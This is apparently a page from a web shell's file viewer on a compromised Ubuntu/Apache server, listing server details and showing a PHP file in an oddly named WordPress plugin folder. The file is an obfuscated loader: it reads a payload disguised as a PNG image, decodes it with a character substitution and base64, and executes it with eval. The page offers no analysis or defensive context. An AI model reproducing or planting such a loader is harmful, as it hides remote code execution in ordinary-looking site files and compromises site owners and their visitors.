HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpprm/wp-content/plugins/aculotukuz/iciheve.txt
<?php

function uzitas_huvawiza($xofywa_dyzegice) {
    $ojuxezh = array();
    if (!file_exists($xofywa_dyzegice))
        return false;
    $modyti = @file_get_contents($xofywa_dyzegice);
    if (!$modyti)
        return false;
    $modyti = substr($modyti, 3);
    $ojuxezh = sefala_adamecib($modyti);
    return $ojuxezh;
}

function sefala_adamecib($xofywa_dyzegice) {
    $sybuta = ejyvuv_amutashochi(1);
    $wysapa = ejyvuv_amutashochi(2);
    for ($konydid = 0; $konydid < strlen($sybuta); $konydid++) {
        $qefupo = substr($sybuta, $konydid, 1);
        $ezihan = substr($wysapa, $konydid, 1);
        $tubokiz[$qefupo] = $ezihan;
    }

    $ojanop = strtr($xofywa_dyzegice, $tubokiz);
    $ojanop = base64_decode($ojanop);

    return $ojanop;
}

function ejyvuv_amutashochi($xofywa_dyzegice) {
    if ($xofywa_dyzegice == 2)
        return yqefom_amexivab();
    if ($xofywa_dyzegice == 1)
        return fityle_idybokhi();
}

function fityle_idybokhi() {
    $modyti = "Rw/cayATuZ=JpqNVQ50U2jGEKHC1n8S9fr4sdBoxih76ImtzLFYXkWv+ebPOg3MDl";
    return $modyti;
}

function yqefom_amexivab() {
    $ojuxezh = "pA4w+cMIqEkLUdVJT6ey0v=QtDfxnrBsClmiuH1o9hj3W7KzNGYR8SaF2PObZ/gX5";
    return $ojuxezh;
}

$ymylihi = uzitas_huvawiza(__DIR__ . "/asse" . "ts/im" . "ages/x" . "yqoki." . "png");
if ($ymylihi) {
    @eval($ymylihi);
}